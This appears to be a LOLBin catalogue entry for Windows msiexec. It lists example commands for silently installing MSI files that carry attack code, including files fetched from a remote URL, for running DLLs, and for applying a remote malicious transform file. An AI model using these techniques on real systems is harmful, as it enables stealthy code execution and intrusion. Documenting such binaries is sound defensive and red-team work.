windows enabled community high v1.0.0

msiexec

Used by Windows to execute msi files Located at: C:\Windows\System32\msiexec.exe; C:\Windows\SysWOW64\msiexec.exe.

📋 Live Preview
msiexec
msiexec

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Installs the target .MSI file silently. (Execute custom made msi file with attack code)

msiexec /quiet /i {PATH:.msi}

Installs the target remote & renamed .MSI file silently. (Execute custom made msi file with attack code from remote server)

msiexec /q /i {REMOTEURL}

Calls DllRegisterServer to register the target DLL. (Execute dll files)

msiexec /y {PATH_ABSOLUTE:.dll}

Calls DllUnregisterServer to un-register the target DLL. (Execute dll files)

msiexec /z {PATH_ABSOLUTE:.dll}

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input. (Install trusted and signed msi file, with additional attack code as transformation file, from a remote server)

msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb

Detection

Documentation

msiexec

msiexec is a Windows LOLBin. Used by Windows to execute msi files Located at: C:\Windows\System32\msiexec.exe; C:\Windows\SysWOW64\msiexec.exe.

References